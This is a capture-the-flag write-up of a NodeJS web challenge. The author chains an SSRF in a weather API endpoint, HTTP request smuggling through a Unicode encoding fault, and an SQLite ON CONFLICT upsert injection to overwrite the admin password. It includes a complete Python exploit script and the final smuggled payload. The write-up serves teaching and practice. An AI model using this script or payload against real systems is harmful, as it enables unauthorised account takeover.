Challenge details

  • Keywords: SSRF, SQLi, NodeJS (express), Encoding faults

  • Summary: Using a Unicode encoding fault in NodeJS (express) to exploit an SSRF vulnerability leading to SQL Injection that allows for setting the admin password to an arbitrary value.


Understanding the application

Though I started getting into hacking by solving WEB challenges, the chall still had me thinking and looking for a solution for quite some time. Probably because I set up my environment in a faulty way, but let’s see what it holds for us.

I first started by downloading the files and navigating the website.

“Website”

Nothing interesting here.

We also get the app source code, so I started looking at the routes the server defined.

As a brief summary of my approach: Many web development frameworks (if not all?) including NodeJS express let you define routes. Every route is mapped to an HTTP method like GET or POST and an endpoint such as “/register”.

In NodeJS, requests to certain endpoints are processed by “middlewares” linked to routes. Middlewares are basically functions that receive two objects important for us, the “req” and “resp” objects. One represents the incoming request, the other the outgoing response to said request. Understanding how a NodeJS app works can usually be done by looking at these routes and middlewares.

I was able to identify the following routes:

Endpoint Supported request Server side logic
/ GET Loads the index page
/register GET Loads the registration page
/register POST Creates a new user (only available from 127.0.0.1)
/login GET Loads the login page
/login POST Handles login and serves the flag if the user is the admin
/api/weather POST Makes a request to the URL received from the client and loads weather info from there.

Two of these endpoints are particularly interesting. One of them is the register endpoint that allows for actual registration. Looking at the code, the middleware calls the db.register function, the source code of which can be seen below:

“SQLi Vuln in code”

The comment clearly states query parameterization is not yet available. This basically tells us It’s vulnerable to SQLi. The endpoint however only works if the request to it is made from 127.0.0.1.

This is where the next interesting endpoint comes into play. The /api/weather one. Upon receiving an endpoint parameter through the POST request, the application uses the WeatherHelper class to create a request based on the received parameter. This results in a SSRF vulnerability because the URL to which the request is made is based on user input. The relevant code snippet can be seen below:

“SSRF Vuln in code”

And thus, I found a way inside the application. We can use the SSRF vulnerability to get the server to send a request to it’s own register endpoint. This way, we can bypass the 127.0.0.1 filter on it and hopefully get to SQLi

Creating the exploit

This was one step, but then I faced another problem. The server side code can only make a GET request to the designated URL.

I spent hours trying to conjure up a way to convert a GET request into a POST request. Sadly I can’t remember whether I came up with the solution myself or I just kept looking for stuff on the internet and stumbled upon something relevant by accident. Either way, the solution:

By executing an HTTP Request Smuggling attack, I can inject a POST request into the HTTP stream, and possibly overwrite the admin creds with an SQLi payload.

I found this article and went down an epic rabbit hole. I first started out by coming up with payloads like the following, and pasting them into the Burp repeater.

/ HTTP/1.1
host: 127.0.0.1
connection: close


GET / HTTP/1.1
host: 192.168.0.71
connection: close

This simply finishes the first GET started by the app and injects another GET request directed towards my local test server. Problem is … it didn’t work :)

Pretty soon, I realized copying and pasting characters with a messed up encoding probably isn’t the way to play around with them.

I decided to modify the script from the previously mentioned article to send requests directly to the application using python requests. This is what I ended up with.

from collections import defaultdict
import random
import sys
import os
import requests

LATIN_START = "00020"
LATIN_END = "007E"

LATIN_MAP = {"0d": "\r", "0a": "\n"} 
UNICODE_MAP = defaultdict(list)

SUPP_START_CODE = "00A0" 
CYR_END_CODE = "04FF" 

BLACKLIST_CHARS = ['0378', '0379'] 

def unicodifiy(to_translate):
 
    for char in range(int(LATIN_START, 16), int(LATIN_END, 16)):
        k = chr(char)
        LATIN_MAP[hex(char).split('x')[-1]] = k

    for char in range(int(SUPP_START_CODE, 16), int(CYR_END_CODE, 16)):
        truncval =  hex(ord(chr(char)))[-2:]
        if truncval not in LATIN_MAP.keys():
            continue
        c = chr(char)
        if char in [int(x, 16) for x in BLACKLIST_CHARS]:
            continue
        UNICODE_MAP[LATIN_MAP[truncval]].append(c)

    chars = []
    
    for ss in to_translate:
        for k,v in UNICODE_MAP.items():
            if ss == k:
                chars.append(random.choice(v))
 
    translated = "".join(chars)
    return translated

request = """/ HTTP/1.1
host: localhost


GET /register HTTP/1.1
Host: localhost


"""

sess = requests.Session()

URL = "http://localhost:1337"
ENDPOINT = "/api/weather"
HEADERS = {
    "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0",
    "Accept": "*/*",
    "Accept-Language": "en-US,en;q=0.5",
    "Content-Type": "application/json",
    "Sec-Fetch-Dest": "empty",
    "Sec-Fetch-Mode": "cors",
    "Sec-Fetch-Site": "same-origin",
    "referrer": "http://localhost:1337/"}
DATA = b'''{
    "endpoint":"127.0.0.1/''' + unicodifiy(request).encode() + b'''#",
    "city":"Budapest",
    "country":"HU"}'''

r = sess.post(url=URL+ENDPOINT,data=DATA,headers=HEADERS)
print(r.text)

It’s ugly but it worked! I modified the code of weather app to log to the console when it receives a request to the register endpoint.

“Modified register func”

And successfully exploited the HTTP Smuggling vulnerability.

“Smuggled request”

I then hit another roadblock. I spent another hour or so trying to come up with a way to successfully send POST parameters to the register endpoint. I faced multiple difficulties.

  1. If the request to the /api/weather endpoint doesn’t return valid results for the WeatherHelper class to process, an error seems to thwart further code execution.

  2. The smuggled POST request only seemed to work if the host of the first request matched the second one, this made realizing the first point very difficult.

  3. If the payload contained a valid POST body, the function somehow lost the value of req.socket.remoteAddress. Which meant I faced the problem of not being able to send data to the function unless I messed up the source checking, which in turn killed execution.

A new round of “take a step back and do some research” started each time I hit one of these blockers.

The final payload looked like this:

request = """/ HTTP/1.1
host: localhost


POST /register HTTP/1.1
Host: localhost


POST /register HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 84

username=admin&password=admin')+ON+CONFLICT(username)+DO+UPDATE+SET+password+=+10+--


GET http://api.openweathermap.org/data/2.5/weather?q=Budapest,HU&units=metric&appid=10a62430af617a949055a46fa6dec32f̠ HTTP/1.1
host: api.openweathermap.org
Connection: Keep-Alive

"""

To sum it up:

  1. The 4th request is required for the WeatherHelper class to be able to process the results.

  2. Hosts match up until the 4th request.

  3. A second, empty POST request is required for the application to preserve the value of req.socket.remoteAddress for some reason.

This latter seemed to be a problem that occurred for others as well.

Looking at it, I needed some funky steps for my exploit to work. When I was done, I checked other writeups and those seemed more straightforward somehow.

Finding the SQLi vector

The final payload above contains the SQLi payload I used to override the admin credentials. I first tried to execute stacked queries by placing a second SQL UPDATE query after the INSERT but didn’t succeed with it.

After some more googling I ended up stumbling upon the UPSERT SQLi technique, along with the ON CONFLICT directive. To my understanding, different DBMS’s allow you to handle conflict cases when insertion conflicts occur. Such a case would be trying to create a user with an already existing username in the database.

This means in our case, we can use ON CONFLICT (specific to SQLite) to handle errors originating from the violation of the restrictions put on the table (meaning we can’t have multiple admins) and overwrite the password of an existing user.

Based on this, the final payload was:

username=admin&password=admin')+ON+CONFLICT(username)+DO+UPDATE+SET+password+=+10+--

And lo and behold I was able to log in with the credentials admin:10

“Flag”

Final word and references

Though the challenge is labeled easy, I spent quite some time working around it. Hopefully you learned something new from it as well.

Happy hacking and remember, try harder!

~ r4bbit

Final exploit code